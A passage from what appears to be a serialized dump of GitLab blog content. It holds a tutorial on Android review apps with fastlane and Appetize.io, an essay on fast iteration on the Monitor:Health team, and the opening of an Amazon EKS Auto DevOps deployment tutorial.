Compliance. After review with users and analysts, we determined that this new name better indicates what the feature is for, aligns with existing market terminology, and reduces confusion with GitLab subscription licensing features. You can find the research and work on this issue in the epic Rename License Management to License Compliance. The analyses of your projects done as a part of License Compliance will be called License Scanning.\n",[736,6962,774],{"slug":23697,"featured":6,"template":678},"gitlab-com-13-0-breaking-changes","content:en-us:blog:gitlab-com-13-0-breaking-changes.yml","Gitlab Com 13 0 Breaking Changes","en-us/blog/gitlab-com-13-0-breaking-changes.yml","en-us/blog/gitlab-com-13-0-breaking-changes",{"_path":23703,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23704,"content":23709,"config":23715,"_id":23717,"_type":16,"title":23718,"_source":17,"_file":23719,"_stem":23720,"_extension":20},"/en-us/blog/how-to-create-review-apps-for-android-with-gitlab-fastlane-and-appetize-dot-io",{"title":23705,"description":23706,"ogTitle":23705,"ogDescription":23706,"noIndex":6,"ogImage":18477,"ogUrl":23707,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23707,"schema":23708},"Review Apps for Android with GitLab, fastlane & Appetize.io","See how GitLab and Appetize.io can bring Review Apps to your Android project","https://about.gitlab.com/blog/how-to-create-review-apps-for-android-with-gitlab-fastlane-and-appetize-dot-io","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to create Review Apps for Android with GitLab, fastlane, and Appetize.io\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Andrew Fontaine\"}],\n        \"datePublished\": \"2020-05-06\",\n      }",{"title":23710,"description":23706,"authors":23711,"heroImage":18477,"date":23675,"body":23713,"category":18484,"tags":23714},"How to create Review Apps for Android with GitLab, fastlane, and Appetize.io",[23712],"Andrew Fontaine","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nIn a [previous look at GitLab and _fastlane_], we discussed how _fastlane_ now\nautomatically publishes the Gitter Android app to the Google Play Store, but at\nGitLab, we live on [review apps], and review apps for Android applications didn't\nreally exist... until [Appetize.io] came to our attention.\n\nJust a simple extension of our existing `.gitlab-ci.yml`, we can utilize\nAppetize.io to spin up review apps of our Android application.\n\nIf you'd rather just skip to the end, you can see\n[my MR to the Gitter Android project].\n\n## Setting up Fastlane\n\nFortunately for us, _fastlane_ has integrated support for Appetize.io, so all\nthat's needed to hit Appetize is the addition of a new `lane`:\n\n```diff\ndiff --git a/fastlane/Fastfile b/fastlane/Fastfile\nindex eb47819..f013a86 100644\n--- a/fastlane/Fastfile\n+++ b/fastlane/Fastfile\n@@ -32,6 +32,13 @@ platform :android do\n     gradle(task: \"test\")\n   end\n\n+  desc 'Pushes the app to Appetize and updates a review app'\n+  lane :review do\n+    appetize(api_token: ENV['APPETIZE_TOKEN'],\n+             path: 'app/build/outputs/apk/debug/app-debug.apk',\n+             platform: 'android')\n+  end\n+\n   desc \"Submit a new Internal Build to Play Store\"\n   lane :internal do\n     upload_to_play_store(track: 'internal', apk: 'app/build/outputs/apk/release/app-release.apk')\n```\n\n`APPETIZE_TOKEN` is an Appetize.io API token that can be generated on the\n[Appetize API docs] after signing up for an account. Once we add a new job and\nstage to our `.gitlab-ci.yml`, we will be able to deploy our APK to Appetize and\nrun them in the browser!\n\n```diff\ndiff --git a/.gitlab-ci.yml b/.gitlab-ci.yml\nindex d9863d7..e4d0ce3 100644\n--- a/.gitlab-ci.yml\n+++ b/.gitlab-ci.yml\n@@ -5,6 +5,7 @@ stages:\n   - environment\n   - build\n   - test\n+  - review\n   - internal\n   - alpha\n   - beta\n@@ -81,6 +82,16 @@ buildRelease:\n   environment:\n     name: production\n\n+deployReview:\n+  stage: review\n+  image: $CI_REGISTRY_IMAGE:$CI_COMMIT_REF_SLUG\n+  script:\n+    - bundle exec fastlane review\n+  only:\n+    - branches\n+  except:\n+    - master\n+\n testDebug:\n   image: $CI_REGISTRY_IMAGE:$CI_COMMIT_REF_SLUG\n   stage: test\n```\n\nGreat! Review apps will be deployed when branches other than `master` build.\nUnfortunately, there is no `environment` block, so there's nothing linking these\ndeployed review apps to GitLab. Let's fix that next.\n\n## Dynamic Environment URLs\n\nPreviously, GitLab only liked environment URLs that used pre-existing CI\nvariables (like `$CI_COMMT_REF_NAME`) in their definition. Since 12.9, however,\na [new way of defining environment urls with alternative variables exists].\n\nBy creating a `dotenv` file and submitting it as an `artifact` in our build, we\ncan define custom variables to use in our environment's URL. As all Appetize.io\napp URLs take the pattern of `https://appetize.io.app/$PUBLIC_KEY`, where\n`$PUBLIC_KEY` is randomly generated when the app is created, we need to get the\npublic key from the Appetize response in our `Fastfile`, and put it in a\n`dotenv` file.\n\n```diff\ndiff --git a/fastlane/Fastfile b/fastlane/Fastfile\nindex 7b5f9d1..ae3867c 100644\n--- a/fastlane/Fastfile\n+++ b/fastlane/Fastfile\n@@ -13,6 +13,13 @@\n # Uncomment the line if you want fastlane to automatically update itself\n # update_fastlane\n\n+\n+def update_deployment_url(pub_key)\n+  File.open('../deploy.env', 'w') do |f|\n+    f.write(\"APPETIZE_PUBLIC_KEY=#{pub_key}\")\n+  end\n+end\n+\n default_platform(:android)\n\n platform :android do\n@@ -37,6 +44,7 @@ platform :android do\n     appetize(api_token: ENV['APPETIZE_TOKEN'],\n              path: 'app/build/outputs/apk/debug/app-debug.apk',\n              platform: 'android')\n+    update_deployment_url(lane_context[SharedValues::APPETIZE_PUBLIC_KEY])\n   end\n\n   desc \"Submit a new Internal Build to Play Store\"\n```\n\nWe also need to add an `environment` block to our `.gitlab-ci.yml` to capture an\nenvironment name and URL.\n\n```diff\ndiff --git a/.gitlab-ci.yml b/.gitlab-ci.yml\nindex f5a8648..c834077 100644\n--- a/.gitlab-ci.yml\n+++ b/.gitlab-ci.yml\n@@ -85,12 +85,18 @@ buildCreateReleaseNotes:\n deployReview:\n   stage: review\n   image: $CI_REGISTRY_IMAGE:$CI_COMMIT_REF_SLUG\n+  environment:\n+    name: review/$CI_COMMIT_REF_NAME\n+    url: https://appetize.io/app/$APPETIZE_PUBLIC_KEY\n   script:\n     - bundle exec fastlane review\n   only:\n     - branches\n   except:\n     - master\n+  artifacts:\n+    reports:\n+      dotenv: deploy.env\n\n testDebug:\n   image: $CI_REGISTRY_IMAGE:$CI_COMMIT_REF_SLUG\n```\n\nOnce committed, pushed, and a pipeline runs, we should see our environment\ndeployed!\n\n![Our first review environment][first-review-app]\n\n## Optimizing Updates\n\nAfter running with this for a bit, we realized that we were accidentally\ncreating a new app on Appetize.io with every new build! Their docs\n[specify how to update existing apps], so we went about seeing if we could\nsmartly update existing environments.\n\nSpoiler alert: We could.\n\nFirst, we need to save the public key granted to us by Appetize.io somewhere. We\ndecided to put it in a JSON file and save that as an artifact of the build.\nFortunately, the `Fastfile` is just ruby, which allows us to quickly write it\nout to a file with a few lines of code, as well as attempt to fetch the artifact\nfor the last build of the current branch.\n\n```diff\ndiff --git a/fastlane/Fastfile b/fastlane/Fastfile\nindex ae3867c..61e9226 100644\n--- a/fastlane/Fastfile\n+++ b/fastlane/Fastfile\n@@ -13,8 +13,32 @@\n # Uncomment the line if you want fastlane to automatically update itself\n # update_fastlane\n\n+require 'net/http'\n+require 'json'\n+\n+GITLAB_TOKEN = ENV['PRIVATE_TOKEN']\n+PROJECT_ID = ENV['CI_PROJECT_ID']\n+REF = ENV['CI_COMMIT_REF_NAME']\n+JOB = ENV['CI_JOB_NAME']\n+API_ROOT = ENV['CI_API_V4_URL']\n+\n+def public_key\n+  uri = URI(\"#{API_ROOT}/projects/#{PROJECT_ID}/jobs/artifacts/#{REF}/raw/appetize-information.json?job=#{JOB}\")\n+  http = Net::HTTP.new(uri.host, uri.port)\n+  http.use_ssl = true\n+  req = Net::HTTP::Get.new(uri)\n+  req['PRIVATE-TOKEN'] = GITLAB_TOKEN\n+  response = http.request(req)\n+  return '' if response.code.equal?('404')\n+\n+  appetize_info = JSON.parse(response.body)\n+  appetize_info['publicKey']\n+end\n\n def update_deployment_url(pub_key)\n+  File.open('../appetize-information.json', 'w') do |f|\n+    f.write(JSON.generate(publicKey: pub_key))\n+  end\n   File.open('../deploy.env', 'w') do |f|\n     f.write(\"APPETIZE_PUBLIC_KEY=#{pub_key}\")\n   end\n@@ -42,6 +66,7 @@ platform :android do\n   desc 'Pushes the app to Appetize and updates a review app'\n   lane :review do\n     appetize(api_token: ENV['APPETIZE_TOKEN'],\n+             public_key: public_key,\n              path: 'app/build/outputs/apk/debug/app-debug.apk',\n              platform: 'android')\n     update_deployment_url(lane_context[SharedValues::APPETIZE_PUBLIC_KEY])\n```\n\nWhen we go to deploy our app to Appetize, we hit the [Jobs API] to see if we\nhave a public key for this branch. If the API returns a `404`, we know we are\nbuilding a fresh branch and return an empty string, else we parse the JSON and\nreturn our public key. The [Fastlane docs] state the `appetize` action can take\na `public_key` to update an existing app. Here, `''` is considered the same as\n_not_ providing a public key, so a new application is still deployed as we expect.\n\n**NOTE:** If you've read the `diff` closely, you'll notice the usage of an\nenvironment variable called `PRIVATE_TOKEN`. This is a GitLab private token\ncreated with the `read_api` scope and injected into our build as an environment\nvariable. This is required to authenticate with the GitLab API and fetch\nartifacts.\n\nOnce we update `.gitlab-ci.yml` to save the new `appetize-information.json` file\nas an artifact, later builds on the same branch will be smart and update the\nexisting Appetize app!\n\n```diff\ndiff --git a/.gitlab-ci.yml b/.gitlab-ci.yml\nindex c834077..54cf3f6 100644\n--- a/.gitlab-ci.yml\n+++ b/.gitlab-ci.yml\n@@ -95,6 +95,8 @@ deployReview:\n   except:\n     - master\n   artifacts:\n+    paths:\n+      - appetize-information.json\n     reports:\n       dotenv: deploy.env\n```\n\n## Cleaning up\n\nAll that's left is to delete old apps from Appetize once we don't need them\nanymore. We can do that by leveraging `on_stop` and creating a `stop` job that\nwill delete our app from Appetize.io\n\n```diff\ndiff --git a/.gitlab-ci.yml b/.gitlab-ci.yml\nindex 54cf3f6..f6ecf7e 100644\n--- a/.gitlab-ci.yml\n+++ b/.gitlab-ci.yml\n@@ -10,6 +10,7 @@ stages:\n   - alpha\n   - beta\n   - production\n+  - stop\n\n\n .updateContainerJob:\n@@ -88,6 +89,7 @@ deployReview:\n   environment:\n     name: review/$CI_COMMIT_REF_NAME\n     url: https://appetize.io/app/$APPETIZE_PUBLIC_KEY\n+    on_stop: stopReview\n   script:\n     - bundle exec fastlane review\n   only:\n@@ -100,6 +102,22 @@ deployReview:\n     reports:\n       dotenv: deploy.env\n\n+stopReview:\n+  stage: stop\n+  environment:\n+    name: review/$CI_COMMIT_REF_NAME\n+    action: stop\n+  variables:\n+    GIT_STRATEGY: none\n+  when: manual\n+  only:\n+    - branches\n+  except:\n+    - master\n+  script:\n+    - apt-get -y update && apt-get -y upgrade && apt-get -y install jq curl\n+    - curl --request DELETE https://$APPETIZE_TOKEN@api.appetize.io/v1/apps/`jq -r '.publicKey' \u003C appetize-information.json`\n+\n testDebug:\n   image: $CI_REGISTRY_IMAGE:$CI_COMMIT_REF_SLUG\n   stage: test\n```\n\nOnce your MR is merged and your branch is deleted, the `stopReview` job runs,\ncalling the [`DELETE` endpoint of the Appetize.io API] with the public key that\nis contained in `appetize-information.json`. We don't need to fetch\n`appetize-information.json` because the artifact is already present in our build\ncontext. This is because the `stop` stage happens _after_ the `review` stage.\n\n![A merge request with a deployed review app][merge-request-with-review-app]\n\n## Conclusion\n\nThanks to some integration with _fastlane_ and the addition of a couple\nenvironment variables, having the ability to create review apps for an Android\nproject was surpsingly simple. GitLab's review apps are not _just_ for web-based\nprojects, even though it may take a little tinkering to get working. Appetize.io\nalso supports iOS applications, so all mobile native applications can be turned\ninto review apps. I would love to see this strategy be applied to a React Native\nproject as well!\n\n[previous look at gitlab and _fastlane_]: /blog/android-publishing-with-gitlab-and-fastlane/\n[my mr to the gitter android project]: https://gitlab.com/gitlab-org/gitter/gitter-android-app/-/merge_requests/167\n[review apps]: https://docs.gitlab.com/ee/ci/review_apps/#review-apps\n[appetize.io]: https://appetize.io\n[appetize api docs]: https://appetize.io/docs#request-api-token\n[new way of defining environment urls with alternative variables exists]: https://docs.gitlab.com/ee/ci/environments/index.html#set-dynamic-environment-urls-after-a-job-finishes\n[first-review-app]: /images/blogimages/how-to-create-review-apps-for-android-with-gitlab-fastlane-and-appetize-dot-io/first-review-app.png\n[specify how to update existing apps]: https://appetize.io/docs#updating-apps\n[jobs api]: https://docs.gitlab.com/ee/api/jobs.html#download-a-single-artifact-file-from-specific-tag-or-branch\n[fastlane docs]: https://docs.fastlane.tools/actions/appetize/\n[`delete` endpoint of the appetize.io api]: https://appetize.io/docs#deleting-apps\n[merge-request-with-review-app]: /images/blogimages/how-to-create-review-apps-for-android-with-gitlab-fastlane-and-appetize-dot-io/merge-request-with-review-app.png\n",[110,232,754,696],{"slug":23716,"featured":6,"template":678},"how-to-create-review-apps-for-android-with-gitlab-fastlane-and-appetize-dot-io","content:en-us:blog:how-to-create-review-apps-for-android-with-gitlab-fastlane-and-appetize-dot-io.yml","How To Create Review Apps For Android With Gitlab Fastlane And Appetize Dot Io","en-us/blog/how-to-create-review-apps-for-android-with-gitlab-fastlane-and-appetize-dot-io.yml","en-us/blog/how-to-create-review-apps-for-android-with-gitlab-fastlane-and-appetize-dot-io",{"_path":23722,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23723,"content":23729,"config":23733,"_id":23735,"_type":16,"title":23736,"_source":17,"_file":23737,"_stem":23738,"_extension":20},"/en-us/blog/observations-on-how-to-iterate-faster",{"title":23724,"description":23725,"ogTitle":23724,"ogDescription":23725,"noIndex":6,"ogImage":23726,"ogUrl":23727,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23727,"schema":23728},"Why iteration helps increase the merge request rate","How the Monitor:Health team has been able to increase the merge request rate using better iteration, a bias for action, and by writing things down.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666603/Blog/Hero%20Images/book.jpg","https://about.gitlab.com/blog/observations-on-how-to-iterate-faster","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why iteration helps increase the merge request rate\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"David O'Regan\"}],\n        \"datePublished\": \"2020-05-06\",\n      }",{"title":23724,"description":23725,"authors":23730,"heroImage":23726,"date":23675,"body":23731,"category":734,"tags":23732},[2680],"\nThis blog post was originally published on the GitLab Unfiltered blog. It was reviewed and republished on 2020-05-21.\n{: .alert .alert-info .note}\n\nDo you know much about fighter jets? It's okay if you don't, neither did I until I became a software developer. While it seems like a rather strange set of things to see a correlation with, they are intrinsically related through a man named [John Boyd](https://en.wikipedia.org/wiki/John_Boyd_(military_strategist)) who was a military strategist and a fighter pilot.\n\nBoyd was rather famous in the Air Force for a law he coined, which we're going to use to demonstrate the difference between iterative and recursive approaches to software development, why we favor it in the [Monitor:Health team](/handbook/engineering/development/ops/monitor/respond/) and why you might want to favor it too.\n\n_Boyd's Law of Iteration states that **speed** of iteration beats quality of iteration_\n\nThis law was developed by Boyd while observing dogfights between MiG-15s and F-86s. Even though the MiG-15 was considered a superior aircraft by aircraft designers, the F-86 was favored by pilots. The reason it was favored was simple: in one-on-one dogfights with MiG-15s, the F-86 won nine times out of ten.\n\nWhat's happening here? If the MiG is the better aircraft, why would the F-86 win the majority of the fights? Well according to Boyd who was one of the best dog-fighters in history suggested:\n\n> That the primary determinant to winning dogfights was observing, orienting, planning, and acting **faster** not better.\n\nThis leads to Boyd's Law of Iteration: Speed of iteration beats quality of iteration. What's pretty incredible is that you will find this same scheme throughout every section of modern software development:\n\n- Writing unit tests? Keep them small and lean so they can be run faster.\n- Writing usability tests? They work best when they're lean and you can quickly discard what's not working.\n- Writing a function, class, or feature? Start with the smallest, [most boring solution](https://handbook.gitlab.com/handbook/values/#boring-solutions) and iterate.\n- Doing an Agile approach? The quicker the better you'll often find.\n- Software in general is about failing early and often.\n\nSo lets pretend I've convinced you with some obscure fighter jet references and now you're ready to break down those merge requests and iterate quicker than you've ever iterated. Awesome! Let's talk about how to foster a team environment that allows for iteration, because that's the key here at GitLab. When you get started on this pilgrimage to [11 amazing merge requests per month as a goal](/handbook/engineering/development/performance-indicators/#mr-rate) you need to keep one very important thing in mind:\n\nIt's a team effort. While you as an individual developer will do an amazing job by hammering in on this skill, the real difference is made when you look at iteration as a tool to lift the team up. Think of yourself as the pilot that wants to get that faster iteration in to cover your buddies.\n\n## Bias for action\n\nWhen I got started at GitLab I was introduced to the idea of really believing in iteration as a methodology because it's a [company value](https://handbook.gitlab.com/handbook/values/#iteration).\n\n> Decisions should be thoughtful, but delivering fast results requires the fearless acceptance of occasionally making mistakes.\n\nThis was highlighted in various ways by different people across the company, but something that really stuck out to me was hearing another team member refer to the Monitor:Health team as a \"team with a strong bias for action\". We don't really believe in being reactive, instead we want to be we want to always be proactively improving the product. This underlying belief system trickles down from our team leader into every discussion, decision, deliverable set, and ultimately, how we as developers see our own agency operating. We **believe** in action, that an open merge request (even if it's not perfect) is always better than nothing.\n\nAs we mentioned, we have a bias for action. So, when our team anticipates a problem, we create a merge request first before starting a discussion. I know for a lot of people this might seem a bit counterproductive – what if this is a wasted effort? When in reality, [starting at a merge request](/handbook/communication/#start-with-a-merge-request) is the best possible place for any real discussion. It helps create a living log for the conversation, and creates more visibility for the problem we are fixing.\n\n## All code is bad code: Impostor syndrome, course correction, and accepting failure\n\nI had a mentor at my old company who was a fantastic programmer, and many of the people on my team looked up to him. One Friday afternoon, he gave a presentation that really shaped my understanding of iteration. This talk,  \"All code is bad code\" became rather famous in our small team because he mostly spoke about why the majority of the code he had written himself was ultimately bad code, and how the desire to **appear** smart is the number one barrier for people to become great software developers.\n\n> What you make with your code is how you express yourself, not the code itself - Eric Elliott\n\nProgramming is by its very nature difficult. As humans we're not particularly well-suited for deep and abstract logical thinking – our brains simply don't work like that by default and it's a learned skill for the most part. Being reminded of this is a humbling but freeing experience as it helps you move forward without fear. Every merge request you submit should be high quality but your definition of high quality should shift to mean delivering something useful to an end user.\n\nAt GitLab, we accept our limitations in that we might not know everything about the problem we're trying to solve. Instead, we lean heavily into the idea of the smallest, most [boring solutions](https://handbook.gitlab.com/handbook/values/#boring-solutions) that can be expanded upon quickly by collaborating with our team.\n\n> Our bias for action also allows us to course correct quickly.\n\nWe always accept there will be [uncertainty](https://handbook.gitlab.com/handbook/values/#accepting-uncertainty) in what we do as software developers but we don't let that stop us from trying to deliver an amazing product to our users.\n\nWhen we create a merge request, we do so with a [low sense of shame](https://handbook.gitlab.com/handbook/values/#low-level-of-shame) and [no ego](https://handbook.gitlab.com/handbook/values/#no-ego). This approach allows us to deliver fearlessly **even if we're wrong**.\n\nAs a team, this is the environment you want to foster because it helps create a wonderfully positive feedback loop: Low sense of shame > many merge requests submitted > more discussion > many iterations > ideally, the best possible collaborative results for the end user.\n\nThe core takeaway for team leaders is that **it's okay to make mistakes**. The best thing you can do as a team leader is to foster a safe place for developers to make mistakes and learn as they go.\n\nIf you're a developer, remember that **it's okay to make mistakes as long as you strive for course correction**.\n\n## Foster a healthy sense for urgency for writing things down\n\n> \"While you're thinking about doing it... just do it.\"\n\nIt's one of the things we do so well at GitLab in general it's writing things down. Documenting as we go is how we help our teampick up and go without needing to waste time on unnecessary communication.\n\nIt's safe to say that with our GitLab handbook being at [2,500,000 words](/handbook/about/#count-handbook-pages) and counting, the folks here take writing things down pretty seriously.\n\nAt GitLab, we believe this is also the path to a higher merge request rate.\n\nOn the Monitor:Health team and throughout GitLab believe in preserving our energy, capturing valuable conversations, and making them public to dispense this knowledge widely. As a new team member, I've seen this in action multiple times now. Over the course of my eight weeks at Gitlab, I can count on one hand the number of times I've had to ping a team member with a questions I could not find an answer to in our documentation. The discipline for keeping these notes really keeps the focus on delivering results since we don't have an excess of energy spent going back and forth with questions.\n\nIn my first four weeks at GitLab almost every single question I needed a answer to was already covered in the documentation someone else had already gone to the trouble of creating. Here is a list of some of my initial questions and links to the answers in GitLab documentation.\n\n- [How do I set up the local GitLab Development Kit?](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/master/doc/howto/auto_devops/tips_and_troubleshooting.md)\n- [How do I set up the GitLab Development Kit with Prometheus?](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/master/doc/howto/prometheus.md)\n- [How do I use embedded charts via Prometheus and Grafana?](https://docs.gitlab.com/ee/user/project/integrations/prometheus.html#embedding-gitlab-managed-kubernetes-metrics)\n- [How do I use the `@gitlab/ui` components?](https://gitlab.com/gitlab-org/gitlab-ui/-/blob/master/README.md)\n- [How do I handle styling in external projects?](https://gitlab.com/gitlab-org/gitlab-ui/-/blob/master/doc/css.md)\n- [How should components look and act on pages I am developing?](https://design.gitlab.com/)\n\nIf you can encourage your team to document solutions as problems arise, it can help developers deliver more.\n\n> Documentation is a love letter that you write to your future self. - Damian Conway\n\n## Tighten those feedback loops\n\n> Keep what works, disregard what doesn't.\n\nYou'll often notice that the feedback loop for tight-knit teams just gets tighter over time. People start to see patterns of what does and doesn't work as they work together over time. A good team should aim to address these patterns by keeping the ones that work and refining them but also by not being afraid to disregard the ones that don't work.\n\nRecently, the Monitor:Health team [delivered the first iteration of an incident management tool called the Status Page](https://about.gitlab.com/blog/how-we-built-status-page-mvc/). The team did an amazing job on the  [Status Page](https://gitlab.com/gitlab-org/status-page), with each team member really aiming to break problems into their smallest pieces and iterate quickly, which kept the overall merge request rate high for this project.\n\nThe post mortem of the development process is what made the biggest different. We came together as a team to discuss what aspects worked well and which aspects didn't with the end goal being to tighten our feedback loops so people can really work autonomously and asynchronously. It takes a lot of bravery to have a critical discussion about what didn't work publicly, and not just focus on all the things you have done well.\n\nHow does this play out? Well for us on the Monitor:Health team, it means getting better at refining issues to ensure that when they receive a `ready for development` label they are **truly** ready for anyone to pick up at any time and take it all the way to done. This really helps increase the overall merge request rate because developers don't need to sit through one to three feedback loops waiting for their questions to be answered, when they could be getting it done.\n\nFor an issue to have a [`ready for development` label](/handbook/product-development-flow/#build-phase-2-develop--test) it needs to have:\n\n- A clear definition of \"done\"\n- All the necessary conversations are already resolved inside the issue\n- Developer defines a clear set of expectations\n- Say whether tests are required\n- Say whether UX is needed\n\nWe are trying to enable **any** developer on the Monitor:Health team to read an issue with zero preexisting context and deliver a merge request related to the issue without needing to leave that issue. Remember, we're trying to [measure results not hours](https://handbook.gitlab.com/handbook/values/#measure-results-not-hours). The less time someone spends asking questions, the more time they can spend delivering results.\n\n> Hail to the issue, baby! - Duke Nukem if he was a software developer at GitLab\n\n## It's all about the team\n\nThe only reason we are able to create this level of velocity inside GitLab is because of the belief that we can and **should** iterate quickly. By having the support of the team across the main points in how to iterate, i.e., bias for action, low sense of shame, a healthy sense of urgency, and tight feedback loops is the bedrock that allows us to deliver results for customers via a better product.\n\nWell, that's all folks! I hope you enjoyed the read and learned something along the way. If you have any questions or want to suggest an improvement, drop me an email at: `doregan@gitlab.com`.\n\nWhen in doubt, iterate faster.\n\n## TL;DR, show me the proof\n\n![Results](https://about.gitlab.com/images/blogimages/iterate-faster/results.png){: .center}\n\nThe Monitor:Health frontend team has grown over time while increasing average merge request rate. The team's merge request rate reflects the current team size of four people.\n\n## Learn more\n\n- [GitLab Values](https://handbook.gitlab.com/handbook/values/)\n- [Boyds Law](https://blog.codinghorror.com/boyds-law-of-iteration/)\n- [All code is bad](https://www.stilldrinking.org/programming-sucks)\n- [Accepting failure](https://www.youtube.com/watch?v=UxvXgmZf6NU)\n\n[We're hiring](/jobs/) at GitLab, or consider [trying us out](/free-trial/) for free.\n\nCover image by [Aaron Burden](https://unsplash.com/photos/G6G93jtU1vE) on [Unsplash](https://www.unsplash.com)\n{: .note}\n",[676,4103],{"slug":23734,"featured":6,"template":678},"observations-on-how-to-iterate-faster","content:en-us:blog:observations-on-how-to-iterate-faster.yml","Observations On How To Iterate Faster","en-us/blog/observations-on-how-to-iterate-faster.yml","en-us/blog/observations-on-how-to-iterate-faster",{"_path":23740,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23741,"content":23747,"config":23753,"_id":23755,"_type":16,"title":23756,"_source":17,"_file":23757,"_stem":23758,"_extension":20},"/en-us/blog/deploying-application-eks",{"title":23742,"description":23743,"ogTitle":23742,"ogDescription":23743,"noIndex":6,"ogImage":23744,"ogUrl":23745,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23745,"schema":23746},"Deploying apps to GitLab-managed Amazon EKS with Auto DevOps","A Kubernetes tutorial: Use GitLab AutoDevOps to deploy your applications to Amazon EKS.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666959/Blog/Hero%20Images/gitlab-aws-cover.png","https://about.gitlab.com/blog/deploying-application-eks","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to deploy your application to a GitLab-managed Amazon EKS cluster with Auto DevOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Abubakar Siddiq Ango\"}],\n        \"datePublished\": \"2020-05-05\",\n      }",{"title":23748,"description":23743,"authors":23749,"heroImage":23744,"date":23750,"body":23751,"category":734,"tags":23752},"How to deploy your application to a GitLab-managed Amazon EKS cluster with Auto DevOps",[2816],"2020-05-05","\n\nDeploying an application onto Amazon EKS doesn't have to be painful. In fact, GitLab's [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/) function makes it easy for developers to deploy applications from GitLab onto any cloud. In this tutorial, I break down how to deploy a simple ruby Hello, World application onto our GitLab-managed Amazon EKS cluster, which we created earlier ([read part one to learn how](/blog/gitlab-eks-integration-how-to/)). For the tutorial, I integrated GitLab with Amazon EKS in a GitLab group I created purposely for this, so all the projects created in the group can use the integration without any extra configuration. \n\nIn the previous blog post, we saw how seamless it is to create a Kubernetes cluster on Amazon EKS in GitLab with the right permissions. Developer productivity is greatly improved because there is no more need to manually set-up clusters and the same cluster can be used for multiple projects when Amazon EKS is integrated with GitLab at the group and instance levels, thus making onboarding new projects a breeze.\n\nIn this tutorial, we will be deploying a simple ruby Hello World application to our GitLab-managed Amazon EKS cluster. For the purpose of this tutorial, I have integrated GitLab with Amazon EKS at the group level on a group I own on GitLab.com, this way all projects created in the group can make use of the integration with no extra configuration.\n\n## A few things to note about AutoDevOps\n\nAuto DevOps provides pre-defined [CI/CD configuration](/topics/ci-cd/) which allows you to automatically detect, build, test, deploy, and monitor your applications. All you need to do is push your code and GitLab does the rest, saving you a lot of effort to set up the workflow and processes required to build, deploy, and monitor your project.\n\nYou'll need to execute the following steps for GitLab AutoDevOps to work seamlessly:\n\n* A [base domain](https://docs.gitlab.com/ee/user/project/clusters/#base-domain) name needs to be provided on GitLab’s integration page for Amazon EKS.\n\n ![AutoDevOps Base Domain](https://about.gitlab.com/images/blogimages/deploying-application-eks/base-domain.png){: .shadow.medium.center}\n Setting the base domain for Auto DevOps\n{: .note.text-center}\n\n* GitLab creates subdomains for every project that is deployed using the project slug, project ID and the base domain name. For example, the link `https://abubakar-te-demos-minimal-ruby-app-2.eksdemo-project.gitlabtechevangelism.net/` is automatically created where `abubakar-te-demos-minimal-ruby-app` is the project slug and the project ID of two, both prepended to the base domain name, `eksdemo-project.gitlabtechevangelism.net`.\n\n* Create a wildcard A-record for the base domain and point it to the Ingress endpoint created during the integration in the public-hosted zone of your domain name on Route53. Selecting the ALIAS option in Route 53 will present a list of resources you have already created. You will see your Ingress endpoint in the list of elastic load balancers. Alternatively, you can copy and paste from GitLab’s integration page.\n\n ![Route53 Alias for base Domain](https://about.gitlab.com/images/blogimages/deploying-application-eks/route53.png){: .shadow.small.center}\n Set-up alias for base domain using the generated Ingress endpoint.\n{: .note.text-center}\n\n* Install the pre-defined Kubernetes certificate management controller, certmanager on the GitLab - EKS integration, to ensure every URL created for your application has a Let’s Encrypt certificate.\n\n## Now, lets deploy our application\n\n### How to set-up the project\n\nIt takes five simple steps to set-up the project for your application.\n\nFirst, create a GitLab project from an existing sample, in this case, GitLab’s Auto DevOps example called Minimal Ruby App. There is nothing special about this application, it's just a ruby application you can use to try out the integration. If you integrated Amazon EKS at the group level on GitLab, you can just go ahead to create the project in the group. At the project level, you will have to perform the integration after creating the project.\n\nNext, copy the URL from the “Clone with HTTPS” field of the sample project, Minimal Ruby App:\n\n  ![Cloning over HTTPS](https://about.gitlab.com/images/blogimages/deploying-application-eks/https-clone.png){: .shadow.small.center}\n  The clone sample project.\n{: .note.text-center}\n\nThird, click the \"import project\" tab on the new project page, then click on the \"repo by URL\" button. Paste the URL you copied earlier in the text box for \"Git repository URL\" and click on \"create project\"\n\n  ![Importing Project](https://about.gitlab.com/images/blogimages/deploying-application-eks/import-project.png){: .shadow.medium.center}\n  The progress of the sample project import.\n  {: .note.text-center}\n\nNext, the project will be imported and all the files from the sample will be available in your new project.\n\n  ![Project import progress](https://about.gitlab.com/images/blogimages/deploying-application-eks/import-progress.png){: .shadow.medium.center}\n  The project import is completed.\n  {: .note.text-center}\n\nFinally, go to project settings > CI/CD > Auto DevOps and enable “Default to Auto DevOps pipeline”\n\n  ![Project Settings](https://about.gitlab.com/images/blogimages/deploying-application-eks/project-settings.png){: .shadow.medium.center}\n  Enable the Auto DevOps pipeline.\n  {: .note.text-center}\n\n### How to deploy your application\n\n* Now a pipeline is created and the project built, tested and deployed to production using the [default AutoDevOps CI files](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml).\n\n  ![Project Pipeline](https://about.gitlab.com/images/blogimages/deploying-application-eks/pipeline.png)\n  The first Auto DevOps pipeline.\n  {: .note.text-center}\n\n* Look inside the pipeline output to see the \"deployment to production\" line. This is where the URL is to access your application.\n\n  ![Deployment to production](https://about.gitlab.com/images/blogimages/deploying-application-eks/production-deploy.png)\n  Next, link to the deployed application.\n  {: .note.text-center}\n\n* In the image above, you can see the application has been 